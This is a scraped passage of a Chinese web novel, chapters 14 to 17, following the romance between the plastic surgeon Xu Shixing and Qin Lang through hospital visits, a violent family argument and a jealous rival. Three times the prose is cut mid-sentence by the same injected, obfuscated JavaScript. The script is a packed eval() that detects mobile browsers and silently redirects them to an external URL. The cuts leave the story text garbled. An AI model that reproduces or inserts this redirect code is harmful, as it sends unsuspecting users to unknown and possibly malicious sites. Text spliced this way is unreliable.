秦朗顺势握住抵在胸口的手,“什么都不用说,只要你不反感不反对不拒绝就好。” 徐时行别别扭扭抽回来,侧过身背对着他,“躺好,睡了,明天早上两台手术。” 14. 第 14 章 一夜安眠,徐时行醒来时闹铃还没响,找手机想看时间,意识到身边有人,腰窝处还有硬物抵着。第一反应是畜生啊你是禽兽吗,转念又想,小五岁身体素质差别这么大吗?!骂骂咧咧中起床,但肢体语言却是极其轻柔的,生怕扰人清梦。 他轻手轻脚走出卧室,特意去外卫洗漱。离家时刚过八点,天色有些阴沉,车载电台正在播放天气预报,提醒市民寒潮南下,今夜大幅度降温注意保暖添衣。 未走进诊室大厅,徐时行远远便听到人声嘈杂。 科室导诊台前围了一圈人,有要求现场临时加号的,有拿着预约号想改就诊信息的,更多的是浑水摸鱼趁机加价倒卖的黄牛。这在他们科室并不常见。 他刚拐进走廊,被等候多时的舒思远拉住,压低声音通风报信:“绕2号楼梯过吧,都奔着你来的。师兄,你红了。” “这种红谁爱要谁要。给保卫科打电话没?让他们多派两名安保来。”徐时行嘴上如此说,还是听劝的,老老实实从楼梯走下一层,绕到另一头再爬上来。 科室例会后接连两台手术,上午时间眨眼而过。徐时行回到诊室才觉察出有点饿,午休时有个线上会诊,刚好外卖点的早餐还没吃,皱着眉头强迫自己吞了几口。餐包偏硬太甜,红茶凉了变得浑浊,又涩又苦。 秦朗的微信就是这时候发来的,【今天忙吗?几点下班?晚上想吃什么?】 徐时行莫名联想起昨晚的牛排,爱屋及乌,耐心回复:【忙,没停过。晚饭回我爸妈家吃。】 秦朗窝在餐桌边看了一上午项目方案,正想起身活动活动换换脑子,视频电话直接拨了过去。 徐时行犹豫了几秒,划开接通,不自然地说:“怎么了,还有什么事吗?” “没事就不能打了?”秦朗眼尖,看到画面里吃了一半的面包,“你是中午吃面包,还是早餐没吃完?” 徐时行莫名心虚,转而意识到为什么要心虚,挺直脊背:“小小年纪比老太太还爱管,没什么事我挂了,十分钟后视频会议。” “急什么。”屏幕里秦朗笑了下,盘腿坐进宽大的沙发里,摆出一个很舒服的姿势,“不是还有十分钟吗?” 徐时行怨气很大地说:“很累,不想说话。” 手机懒得拿了,随意支在蓝色资料夹上,摄像头角度偏移,拉出畸变的长下巴。即便如此,看在秦朗眼里也是赏心悦目的,“好吧,那我挂了,晚点再聊。” 挂了视频通话没多久,线上会议界面在内部系统上自动弹出,徐时行戴上一侧蓝牙耳机接入。一例其他分院的面部烧伤病患,初步治疗方案为扩张皮瓣,因疤痕面积较大,无法一次到位,此次会诊主要讨论具体步骤和操作细节。 这是比较常见的治疗方式,弘诚整形外科每周能接诊几位相似病患。沟通过程顺利,会诊逐渐进入尾声,午休也将结束。 办公室门就在这时被人敲了两下直接推开。舒思略带调侃的声音同时响起:“师兄,你头号粉丝又请全科室下午茶了,我给你拿进来。” 徐时行神情严肃地指了指电脑,示意还在会诊。 “我给你放这啊。”舒思远压低声音,把一份下午茶放在诊断桌上,转身带上门。 视线回到电脑屏幕,分屏中同事们纷纷退出会议室,办公室门再度被开启—— “整天毛毛躁躁,门都不敲了。”冷声中卷着明显的火气,秦朗脚步停住,“那我出去重新敲?” 徐时行分辨出声音,直起身面带错愕,见秦朗扯下口罩说:“我猜你要说怎么是你。” “错。”脊背复又靠进真皮办公椅里,徐时行坐姿放松地笑道,“你怎么来了。” 秦朗也跟着笑了下,走进诊室,故意把一袋外带食盒往那份下午茶旁一放,“送外卖,但似乎来晚一步。” “不止晚了一步。”徐时行扫了眼墙上的挂钟,边说边把那份下午茶提至一旁,“还剩不到五分钟,第一位预约患者就要进来了,我可不想被投诉。你带走自己吃吧。” 逐客令发出,客反倒在诊桌边大马金刀地坐下来,“看看就诊预约信息。” 线上会诊快结束时,系统确实弹出过一则预约变更提醒,徐时行没仔细看。这会点开才发现,就诊患者一栏赫然填着:秦朗。 就离谱。 “无不无聊?”徐时行哭笑不得,还拿他没办法,“怎么换得号?” “牺牲了一点色相。” 徐时行微微蹙起眉:“不当获取患者信息,哪个诊前咨询敢这么胡来?” “就不能是患者本人告诉我的吗!” “真行,那你是怎么说服他的?”徐时行没明说,至少今明两天临时号都加不上了。 “给他换了你们科室主任的号,以及……一点点经济补偿。”秦朗很欠地耸了耸肩,一语双关地用话点他,“看来徐医生的魅力也一般啊。” “我跟主任怎么比,那肯定比不了。给你退号,赶紧出去。”办公椅滚轮滑动,徐时行回到电脑前点鼠标唤醒系统,被秦朗一把控住,仓惶中听到他柔声说:“我错了,不该故意气你,别退。不是说很忙很累吗,吃了中饭可以休息会儿。一个号最长诊疗时间是多久,嗯?” 温热触感自手腕皮肤蔓延开,也将暧昧气氛带了起来,心跳跟着加速。即便什么都做过了,还是很不一样的,白天穿得一本正经和夜里在床上。 徐时行别别扭扭甩开他,不自然配合道:“理论上只有下限,首诊不少于40分钟,复诊不少于30,但也没卡那么紧。” “知道了,那别超过一小时,我帮看着时间。”秦朗殷勤地把食盒一一取出,掀开盖子,拆了餐具递到徐时行手边,“趁热吃。” 包装袋和食盒都印着餐厅logo,过度包装的架势一看就很贵,徐时行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988921|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啧了声,“这顿饭我怕消化不良。” 倒不是消费不起,只是比起平日里的维持生命体征餐,眼前这阵仗过于隆重了。 秦朗听出他话外音,有意逗他:“放心,挂号费比饭贵多了。” 徐时行:“…………”忘了这茬,这下更要消化不良了。 一小时眨眼而过。秦朗该离开了,临走前徐时行问他:“怎么来的?” 秦朗猜出他意图,“打车。” 徐时行起身走到衣帽架前,从外套口袋摸出车钥匙给他:“开我车吧,晚高峰回家那段路会很堵,我坐车还能睡会儿。” “好。”秦朗接过车钥匙问,“要不晚上我接你?” 不用麻烦是下意识的回答,但徐时行在秦朗的如炬目光中硬生生忍住,换成了:“到时候再说。” 秦朗轻轻点了下头,“行,那晚点联系。” 他往门口走,余光扫到墙上张贴着的一张宣传海报,脚步一顿,侧过脸。秦朗第一眼先看到的是徐时行,而后很快被C位上的蔡卓康吸引,觉得似曾相识,又想不起来在哪里见过。 “怎么了?”徐时行问道。 “没什么。”秦朗收回视线,不动声色地说,“走了,有事随时给我打电话。” 出了诊室,秦朗快步穿过候诊大厅,搭电梯到地下停车场找到车。他扯掉口罩丢在中控台上,刚要启动,侧窗玻璃被人敲响。 秦朗按下车窗控制键,才刚降出一条缝便听到门外人迫不及待地说:“徐医生,我有话想当面跟你解释,怕影响你工作特意在……” 笑意凝在脸上,曹开宇咽下未尽的话,“抱歉,看错了。”他迈出两步,再次确认了下车牌,面色复杂地看向秦朗。 秦朗隔着车窗打量他,头发灰蓝挑染,巴黎世家字母满印夹克搭配宽大破洞牛仔裤,腰间挂皮编金属裤链,整个人高调又张扬。心里的判断更笃定了几分,手指在门板控制区上轻点着,“你没看错,这是徐医生的车。怎么?找我男朋友什么事,帮你转告?” “不劳烦。”曹开宇不甘示弱地轻蔑一笑,“据我所知,徐医生单身。他知道自己有男朋友了吗?” 秦朗几不可察地微眯了下眼,“信息库该更新了,几杯咖啡几块蛋糕能打听到什么可靠消息,我不仅开他的车,还跟他住在一起。” 后半句杀伤力太大了,曹开宇破防的脸色十分精彩,话也变得磕磕绊绊:“我……我不信。你胡说!” “最后,不介意多告诉你一句。”秦朗半勾起唇角,是个绝对胜利者的姿态,“我男朋友他挑食,很多东西不吃的,也不喝咖啡,以后别买了。”话说出口的霎那,体会到类似占有的快感。在已往二十几年人生中,他从未有过这种体验。 车窗徐徐上升,遮挡住秦朗线条优越的侧脸,也隔绝掉了曹开宇冷峻锐利的嫉妒眼神。一脚电门,特斯拉消失在地库拐角。 15. 第 15 章 徐父徐母住城东新区,不论交通还是周边配套都更宜居,是小儿子出事两年后搬过去的。 三居室周正敞亮,徐时行在书房搜罗了一圈,毫无收获,听到钱慧叫他洗手吃饭,应了声:“来了。” 六人位餐桌坐一家三口略显冷清,倒是桌面菜式摆得热闹,四菜一汤两碟冷盘,都是徐时行爱吃的。 徐伟彦边慢条斯理地整理衬衫袖口,边摆起架子立家规:“难得回次家,一回来就钻进书房捣鼓,吃个饭还让人三催四请。” 钱慧打岔,夹了只斑节虾放进他餐碟中,用眼神示意他少说两句。 徐伟彦话锋一转,很直男地说:“我不吃虾。” 钱慧嫌弃地看老公一眼,“是让你给儿子剥。”说着手一伸,十指微撑,亮出刚做的法式美甲,“不方便。” 徐伟彦从儿子出生起,就对钱慧大包大揽偏溺爱的育儿方式颇有微词。但也仅限于微词并不敢当面直言,就比如现在,嘴上小声嘀咕着:“他自己不会剥吗,多大人了。”手上动作却很利索,几下扒拉掉虾壳,搁回碗里推到老婆手边,“好看是好看,性价比是不是一般?有点太费事了,昨天一天不见人,我还以为你回爸妈那了。” “还去做了脸,保养了头发,逛街买了点东西。”钱慧接力,继续推到儿子跟前,关于一碟虾仁的运输形成完美闭环。她心情好,看儿子更是哪哪都顺眼,“感觉气色比上次见时好多了,胖了?” 睡眠好了气色自然好,徐时行默默吃虾,听到徐伟彦咳嗽一声,意有所指地说:“工作也要上心,不能顾此失彼耽误了。” “行了啊,有完没完,儿子难得回来。”钱慧狠狠瞪老公一眼,“以后更不爱回了我找谁说理去。” 这个更字就很灵性,深层意思是以后逢年过节至少得分一半时间去丈母娘家,你再爱说教得罪了儿媳妇,俩人更不愿意回来,我可怎么办啊。 直男如徐伟彦当然不懂老婆的未雨绸缪,但好在会看脸色,主动把剩下的虾壳都剥了。一顿饭后半程倒也其乐融融,主要还是得益于钱慧心情好,徐时行充当好吉祥物埋头吃就是了。 饭后钱慧指挥徐伟彦收拾碗碟进洗碗机。徐时行终于逮到机会,悄悄溜进父母卧室。 他先查看了床头柜抽屉和梳妆台抽屉,不出所料没有任何与弟弟相关的东西。这个家换掉了所有旧家具,甚至连装修都特意采用明亮色彩。 徐时行坐在梳妆凳上思索,如果没记错,诸如户口本、护照、房产证这类重要证件,会在主卧衣柜的保险箱里。他起身走向衣柜,凭直觉拿掉掩人耳目的鞋盒,果然露出保险箱原貌。 家里各种密码来来回回就那几组数字,可他连输了两次都不对。徐时行保持着半蹲的姿势,努力寻找灵感,最终锁定父母结婚纪念日。按完六位数字的下一秒,保险柜触发蜂鸣警报,惊动厨房二老,闻声而来。 徐伟彦身高腿长,先一步赶到,立刻明白过来发生了什么。他解掉系在腰间的围裙,抛给随后赶来的钱慧,厉声质问儿子:“你想干什么?偷偷摸摸开保险箱想找什么!” 尖锐刺耳的警报声持续了十数秒后停下,空气中涌动着火药味,一触即发。 “说什么呢你,儿子开自己家保险箱怎么能叫偷偷摸摸。”钱慧连忙打圆场,“仔仔是不是找证件?”同时拼命朝儿子递眼神,示意他赶紧服个软。 徐时行蹲得脚有点麻了,缓慢站起身要往外走,被徐伟彦喝住,“站住,越大越没规矩,把家当什么?早上得知你要回来吃饭,你妈妈忙了一天,可你呢?一回家就翻箱倒柜。以为我们不知道吗!” 徐时行走到钱慧身边,低声说了句:“妈,对不起,我先回去了,下次有空我再回来。” 徐伟彦一把拽住儿子手臂,冷喝道:“说,你想找什么?” 徐时行被拽得烦躁,强忍着怒气反问:“说了你就肯拿出来吗?这么多年只知道藏着捂着,我工作都五年了,不像读大学时那么好糊弄。” 两父子焦灼着,谁也不甘示弱。 “不让你追究下去是为了你好。”徐伟彦气得太阳穴直跳,咬紧后牙槽说,“还要一意孤行到什么时候!就你一个人会伤心会难过是吗?难道只有你一个人失去了弟弟吗!难道大家都别活了吗!还要全家看你脸色小心翼翼到什么时候?” 徐伟彦紧紧揪着儿子外套的袖臂,最终松开,“你内疚,你走不出来,你睡不着,你大把大把吃药,真以为我们什么都不知道?这么多年,你也好意思说这么多年,为了照顾你的情绪,怕刺激到你,家里一张弟弟的照片也不敢放。我跟你妈妈甚至都不敢忌日当天去看弟弟,我们又做错了什么!” “伟彦,够了,别说了。”钱慧抹掉眼泪。 徐伟彦转身,把老婆往门外推,“我跟儿子单独聊聊,有些话必须要说清楚。” 他反手锁了门,暴躁越过儿子走到保险柜前,蹲下身输入密码。 柜门嘀声弹开,徐伟彦手掌一揽,扫出里面所有的东西,一包首饰金器,几张绛红证件,一大叠旧照片,所有东西散落一地。 他怒视着儿子说:“睁大眼睛看,有没有你想找的东西,现在可以死心了?所有资料在肇事司机宣判入狱的当天就烧了,这个家再经不起任何折损。” 所有辩解和争论,都在血淋淋的现实前显得苍白无力。 喉结轻颤几下,最终徐时行错开视线,什么话都没说。裤子口袋里手机不合时宜地震动,他拿出来看了眼,是秦朗打来的,不动声色按掉锁屏。 徐伟彦心口堵得难受,来回踱步,缓了缓语气:“你看似乖顺,其实叛逆入骨,听不进去一个字的劝。所以才会藏着捂着,不想让你无休止纠缠下去。就像当初执意要去私立医院一样,如果听我们的,选择三甲,早就……” 手机再度震动发出嗡嗡声,徐时行继续挂断,点开微信给秦朗发信息,想告诉他不方便通话。 因为被无视,因为儿子脸上一如既往的倔强表情,因为他这时拿着手机实在有挑衅之嫌,又或者三者皆是。徐伟彦彻底被激怒,一把夺走儿子手中的手机,重重摔在地板上。 手机砸向地板,滚了两圈,撞进墙角,屏幕碎成一张细密蛛网。 徐时行愣了下,继而冷哼一声自嘲般说:“选择三甲早就如何?早就晋升,成为你跟老同事老同学饭局上的谈资是吗?没能让您如愿,成为如今这副样子我很抱歉。” 啪—— 话音刚落,他的脸上便结结实实挨了一巴掌。 徐伟彦指着儿子浑身发抖:“你听听自己在说什么。原本以为你交了女朋友,终于能走上正轨,我们也好松一口气,真是越大越回去了,口无遮拦,什么浑话都往外说!” 徐时行被打懵了,气血翻涌间失去理智,大吼:“工作晋升、交女朋友、结婚生孩子,是你眼中所谓的正轨,不是我的!”说完捡起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988922|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能接收信号却屏幕失灵的手机,开门走出卧室,砰地甩上门。 钱慧追上儿子,勉强抱住他,带着哭腔劝:“先冷静一下再走,你这样离开让妈妈怎么放心。” 徐时行深呼吸迫使自己冷静,任由妈妈将自己拉回客厅,在沙发上坐下来。不知过了多久,掌心被塞进一杯热可可,钱慧挨着他坐下来,徐时行正要说点什么好让她放心,被抢白:“现在什么都别想,不要让情绪左右你的判断。至少过了今晚,你和爸爸都冷静下来再思考。有些话既然说出口了,只能多想想说出来后有利的一面。” “小楠很乖很好,怎么会忘得掉呢,我们每个人都爱他。他也一定很爱我们,才甘愿带着残缺不全的心脏与我们成为一家人。”钱慧趁着冲热可可时整理过情绪,可眼泪还是无声地滑落,“把这一世的缘分了了,他就回去了,重新成为健康的新生命,再也不被病痛所累,随心肆意地生活。我们都必须承认他已经离开无法回来的事实,这和爱他并不冲突。” 母子二人互相倚靠着,安静坐了许久,情绪全然回落,钱慧帮儿子叫了车,送他到电梯口才放心。 徐时行出了门厅,一眼看到有辆特斯拉打着双闪停在路边,又看了眼车牌才确定是自己的车。他走过去拉开车门,坐进副座,第一件事就是拿掉秦朗指尖夹着的烟,按灭在中控台未使用过的烟灰缸里。 秦朗下意识问:“怎么了?” 徐时行靠着座椅,目视前方却没实质焦点,语气不善道:“我的车,我的房子都禁烟。” “问你,不是问烟。”秦朗察觉到他情绪不对,发动车打转方向盘,不再追问。 徐时行偏过脸,看着右侧后视镜,万家灯火在镜中缩小成点点光斑。 情绪发泄完,理智回归,他轻声道歉:“对不起,不该朝你发火。” 秦朗快速看了副座驾方向一眼,徐时行四分之一侧脸被窗外路灯勾勒出清冷落寂的光影,关切之余只剩心疼,“没关系,如果可以让你消气,我乐意。” 徐时行没接话,伸手拧开了车载音响。半小时车程到达公寓,汽车驶入地下闸口,倒车入库,两人一起下车,并肩步入电梯口。 跨进电梯的瞬间,徐时行突然问:“你怎么知道我爸妈家的地址?” 秦朗关心则乱,电话挂断两次后无法接通,他抓起车钥匙一路疾驰赶来,完全忽略了自己不应该知道地址的事实。现在被这么一问,如梦初醒,整个人条件反射般绷紧,脑子里杂乱无序,“我……”。 电梯门徐徐合拢,在关上前被徐时行用手臂挡住,“愣着干什么?” 秦朗这才回神踏进轿厢,伴随着心跳鼓噪声他听到徐时行说:“车载导航里有存地址。” 秦朗一下卸了力,终于敢喘气:“对,导航。” 小区一共12个单元,导航地址没有具体楼栋数字,他却刚好停在正确的门厅外。 徐时行眼神复杂地望着秦朗,难怪沈砚初常说越契合的人越可能是陷阱,这世上哪有什么天造地设。 片刻失神后,他错开眼,“秦朗……” 秦朗屏息,谨小慎微地注视着他。 徐时行不知道自己怎么了,不看他依然说不出那句好聚好散。 是情绪激烈起伏后的空虚匮乏,是一念之间的任性,是电梯上升的微失重感,是秦朗隐含慌乱的眼睛。 他垂眸空吞了下,哑声道:“阳台可以抽烟。” 16. 第 16 章 临近年末,所有科室都格外忙碌,年终总结和考核纷至沓来。 科室主任梁容飞的离任日期也近了。临走前,大家一致决定要办欢送会。 与其说欢送会,不如说是借着送别的由头吃喝玩闹。地点定在一家新晋网红川菜馆,二十人位的大包厢里,除了轮值夜班的都到齐了。徐时行不太能吃辣,又作为全场为数不多当天及周末都不用待命的,一场聚餐结束光让酒喝饱了。 几个年轻医生护士散场后意犹未尽,商量着第二场再找地方玩剧本杀。 梁容飞第一个打退堂鼓,“我就不参与了,你们玩得开心点,账单明天拿给我报销。” 众人不敢纠缠主任,大大方方道了谢,目送他离开。转而齐齐看向徐时行,异口同声——“徐医生。” 徐时行不喜欢人情牵扯,工作私生活泾渭分明,若非必要能推则推。他笑着婉拒,“我也不去了,约了朋友,早些天就约好的。” 众同事警觉地竖起八卦小雷达,晚上九点多,喝过酒还会约着见面的朋友,那必定关系不一般。 究竟什么样的天仙才入得了徐医生的眼啊? 如果好奇心可见,并且像降雨量那样分等级,这会儿显示的是黑紫色。 徐医生要相貌有相貌,要本事有本事,院内人气很高。并非科室里的年轻医生护士们不吃窝边草,也不是他们不敢发展办公室恋情。主要因为徐医生看似笑盈盈对谁都客客气气,实则油盐不进,除了同事关系根本没法更进一步。 路边一辆路虎揽胜打着双闪,适时响起喇叭声。 众同事顺着徐时行的眼神转过头,看到路虎降下车窗,露出沈砚初又拽又欠的脸,朝他们打招呼:“嗨。” 雷达歇火,黑紫色速速淡去,化为透明。 众同事再次异口同声——“怎么又是他啊!” 上次拿了年度优秀科室奖聚餐,上上次团建,把徐医生接走的都是他,据说已婚,儿子至少上小学能打酱油了。无论性别还是家庭状况都很安全,绝无可能。 “徐医生我接走了哈。”沈砚初从车内探出一点头,痞里痞气地笑,“早知道你们也在,我应该开面包车来。” 徐时行在一阵“切——”声中走过去拉开车门。 车窗闭合,路虎汇入夜晚的车水马龙,沈砚初吊儿郎当地说:“第三次了啊。” “什么第三次?” “帮你解围,替你背负骂名第三次,小本子上都记着呢。什么时候还啊?” 徐时行忍不住笑:“一会儿我买单。” 沈砚初刚下班,直接从公司过来的,晚饭还没吃。他扶着方向盘大咧咧说:“一顿饭就想一笔勾销,好意思?” “那你想怎么还?” “下周末帮我带两天小遇,我要出差。” 原来在这等着呢。 沈遇不难带,十五岁上初中了,以前更小的时候经常来,到点给他定外卖就成,也不挑食。可现在家里多了个人…… 徐时行应不出声,顾左右而言他,“下周末我值班。” “值两天班啊?”沈砚初瞥了他一眼,“总有下班的时候吧,有你看着比他自己在家打48小时游戏强。” 徐时行心虚地错开眼,“知道了。” 沈砚初在人精堆里都是出类拔萃的,一眼看出他不对,“你今天很可疑,怎么感觉有什么事藏着掖着。”他说完想起陵医大那一幕,“校庆你往人家口袋塞名片,到底怎么回事?” 徐时行更加心虚,佯装若无其事看窗外,“之前有点小误会,碰到留个联系方式而已。” “拉倒吧,你打个喷嚏我就知道是风寒感冒还是风热感冒。” “神医,给你申请诺贝尔医学奖好不好。”徐时行笑得不行,见窗外车已拐下高架桥,往城西方向行驶,“这是要去城西夜市?” 沈砚初嗯了声,熟门熟路七拐八拐,在夜市后巷靠边停好车。 晚上九点半,正是夜市最热闹的时候。刚参加工作那会儿两人没少来,一晃好多年,烧烤店依旧是老样子,连点菜单都没变过。 沈砚初随意勾了些常规的牛羊鸡肉,又要了半打啤酒。徐时行喝不下,更吃不下,顶多算个陪聊,还是问两句选择性回一句的那种。 沈砚初喝了口啤酒,又把话题饶了回去:“那人究竟什么来头?” 点的鸡翅刚好送上来,徐时行拿起一串塞进他手里,“吃你的吧,话那么多。” 沈砚初啃了口鸡翅,“跟你同行啊?哪个医院的?我看人向来准,说说呗。” “跟你同行,满意了没。”徐时行随口回他。 “真的假的?”沈砚初来劲了,“劝你三思,金融圈那叫一个乱,当然,除了我。” “怎么个乱法?” “钱来得快,去得也快。离名利场越近,就越知道真实的人性是什么样。在这个行业能拔尖的,一定是容忍度高下限低的人。” 类似的话徐时行听过太多次,只有这次没左耳朵进右耳朵出,“我看你也没随波逐流啊。” 沈砚初自嘲地笑了笑,“所以我需要每天苦逼加班,频繁出差。一天里只有夜宵才有时间坐下来好好吃顿饭。” “少卖惨,收入是我好几倍,工作量不见得比我多多少。”徐时行帮他倒酒,“听口气,上次那个医疗项目不顺利?” 沈砚初摇摇头,“还算顺利,就是挺赶,整个部门连续加了十天班。” 放在桌面的手机震了下,弹出新信息提醒,对话框里秦朗问他要不要来接。徐时行边输入不用边说:“看你表情不像顺利的样子。” 沈砚初“啧”一声,“这都被你发现了。数据模型有组原始数据不精准,用得是好多年前的,但目前只能将就,希望甲方没那么刁钻。” 徐时行又快速回了条信息放下手机,抬起头问:“什么数据?需要我帮忙不?” “你能帮上忙,肯定主动找你,我还会跟你客气?”沈砚初把竹签丢进不锈钢托盘里,“别替我操心,不是什么大问题,顶破天也就这十几天白干,年底提成难看一点。” 徐时行听老友这么说,虽然心里清楚,能让他连续加班十几天的必然是大项目,但自己爱莫能助,就把话题扯开了。 临近十一点,二人从烧烤店出来,叫的代驾已经来了。 沈砚初让代驾先送徐时行回去。 路虎氙气大灯刺破夜色,在一片昏暗中照出醒目光柱。徐时行顺着光看到小区门口站了个人,肩宽腿长,头身比优越,不是秦朗还能是谁。车灯被他衬得好似舞台追光灯。 徐时行缓步停住,“等我?” “你没回信息,下来看看。”秦朗脸上的表情看不清,低沉而平静的嗓音也无法获取更多情绪线索。 “嗯?”徐时行摸出手机解锁屏幕一看,还真有条未读微信,秦朗半小时前发的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988923|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他几点回来。 ————‘咔嗒’,车门弹开,沈砚初一步跨出,单臂撑着车门,存在感很强地喊了句,“怎么了,没事儿吧?” “没事,你回吧。”徐时行冲他扬了扬手。 沈砚初站着没动,视线直直落在秦朗脸上,久到有些不礼貌了。 秦朗无视他没给任何眼神,轻声对徐时行说:“回去吧。” 沈砚初哪受得了这份气,砰一下甩上车门,边朝他们走来边说:“仔仔,这位先生看着眼熟,是不是陵医大校庆见过?” 秦朗终于淡淡瞥了他一眼,认出他那日跟徐时行举动亲昵,想必关系尚可,不愿横生事端,忍了。 徐时行看着沈砚初一脸你没事吧,本来空腹喝一肚子酒就够反胃的,听老友这么叫自己快吐了,生无可恋地编理由:“隔壁邻居。” 谁知沈砚初站定在徐时行身侧,来回扫视秦朗,“你邻居不是个小伙子吗?”他故意挑衅般比划了下,“一米七出头,大学刚毕业,很有礼貌一小帅哥,客客气气的。是我记错?” 徐时行咬紧后牙槽,一字一顿说:“搬,走,了。” “哦,新来的。”沈砚初做作地露出恍然大悟表情,继而向秦朗伸出手,阴阳怪气道,“你好,新邻居。我们徐医生觉浅,对声音很敏感,麻烦您以后多担待。” 秦朗回握,一触即分,四两拨千斤地回:“不劳费心,最近还行。” 人精与人精的寒暄,每一句话都暗藏弦外音。 徐时行头痛欲裂,决定把主动惹事的先送走,“行了,赶紧回吧,别让人代驾等太久。”他连拽带推,将沈砚初弄到车边,凑近了小声埋怨,“你今天怎么回事,戏那么多。” “我还想问你怎么回事呢。”沈砚初凑得更近,甚至几乎要贴上去,“邻居怎么知道你最近睡得好不好?” 徐时行底气不足地嘴硬,“就不能一起搭电梯的时候,顺嘴聊过么。” “呵呵,你邻居在等你一起搭电梯回家呢。” 徐时行不回头也能想象出身后秦朗的模样,脑袋快炸了,一把将人按进去甩上车门。 世界终于安静下来。 秦朗一路默不作声,用指纹按开门锁,突然问:“他是你同事?” “你说砚初?不是。”徐时行径直越过他,换鞋挂好脱下的外套,走进外卫洗了手,然后去厨房找水喝,“他做金融,跟你算半个同行吧。” 秦朗见他一口气喝了小半瓶矿泉水,又问:“晚上喝了很多酒吗?” “还行。”徐时行转身走出厨房,进了卧室,准备拿衣服洗澡。 秦朗后脚跟进去,“不是说晚上跟同事聚餐吗?” “你今晚问题有点多。”徐时行推开衣柜移门,“我们说好的,彼此不干涉私生活。” 他低头从一叠同款白棉T最上抽走一件,颈后脊骨弯出性感弧度。 秦朗从背后环抱住他,下巴垫在他的肩膀上。 徐时行清楚自己此刻身上混合着油烟味和酒气,实在谈不上好闻,下意识偏开头,“我先洗澡。” 颈侧有明显的鼻息喷张,秦朗附在他的颈窝处用力吸了口,“不好。” “你不是吧,等我一晚上就为了……”徐时行说不出口了,笑着躲,但也躲不到哪里去。 耳边独属于秦朗特定时刻的暗哑声线,共振在耳膜上,“我说,‘彼此不干涉私生活’不好,仔仔。” 17. 第 17 章 下午五点,薄薄的落日余晖斜射进院长办公室,在桌面上隔出明暗光影。 阳光笼罩摆台相框,照片上蔡晓晓穿着学士服,手捧玫粉佛洛伊德,分不清是花还是人更明艳。 暗影中,蔡卓康静坐如雕像,目光涣散失焦。 敲门声拉回他的思绪。蔡卓康匆忙将摊开的诊断书收进抽屉,清了清嗓子朝门口说:“进来。” 徐时行走进办公室,把自己的年终个人总结放在桌面上,“院长,调整过了。” 蔡卓康单手戴上眼镜,拿起年终总结对着光快速浏览了一遍,终于点头说,“这版可以。” “好,那我出去了。”徐时行正要走,被叫住。 蔡卓康放下总结报告,和蔼一笑,“上次你带晓晓参加校庆,一直想找机会谢谢你。周末有空吗,想请你来家里吃顿便饭。” “周末……”徐时行内心有些矛盾,一方面清楚这种接近直属领导的机会难得,另一方面又不想乱牵线的误解继续扩大,焦灼中闪过前几日跟父亲吵架的画面,那些警告他适可而止的话掷地有声。 最终,徐时行委婉说:“……跟家里长辈说好了周末要回去住两天。” 徐时行说得摸棱两可,倒是实话,他的确答应了外公外婆今晚回去吃饭。 蔡卓康听他这么答,讪讪道:“那下次再找时间。”说完话锋一转,“对了,听运营说之前你拍的那条宣传视频火了,带动不少咨询量,这虽是多方获利的好事。作为长辈仍要提醒你一句,凡事都有两面性。网络有它的强大之处,同时也会放大一切细枝末节,这个节骨眼上你一定要慎之又慎。” 徐时行谦逊应下,道了谢转身离开。他回到自己办公室处理完手头工作,到了下班点。 这周院方及时出台应对方案,把大量新病例的首诊咨询提前到诊前沟通,尽可能分流工作量,整个科室已然恢复往日秩序。 徐时行走下诊疗楼台阶,迎面曹开宇不知从哪出来,像是特意在等,向他打招呼,“徐医生。” 徐时行停下脚步:“找我有事?” 曹开宇难得穿搭素净,身上也没叮叮当当的装饰物,小心翼翼地说:“能聊聊吗?不会耽误你很多时间。给你发信息你一直没回,我想……有些话还是当面跟你解释比较好。” 徐时行这些天陆续有收到过他的微信,一来每次看到已是几小时后,二来他想冷处理。眼下人找上门了,把话说清楚也好。 他轻点了下头,“长话短说吧。” 曹开宇神色郑重道:“对不起,徐医生。不仅偷拍了你的照片,还在直播间跟粉丝分享了。演变成如今局面,都是因我而起。如果有什么能弥补,我一定竭尽全力。” “道歉我接受,弥补就不必了。严格意义上来说我是受益方,算歪打正着变相为我们医院宣传了,但这件事到此为止。我希望你删了那张照片,同时我也会拉黑你的微信。”徐时行垂眸按掉震动中的手机,跟曹开宇对视一眼,又补充道,“以后不要再给科室里订下午茶,之前的我替大家……” 曹开宇打断他的话,急切地追问:“你真的有男朋友吗?”他忽略了徐时行的目光越过自己,眼神变得生动,继而后知后觉回过头,看到“男朋友”本人。 天色暗了,路灯将来往行人的影子拉得老长。 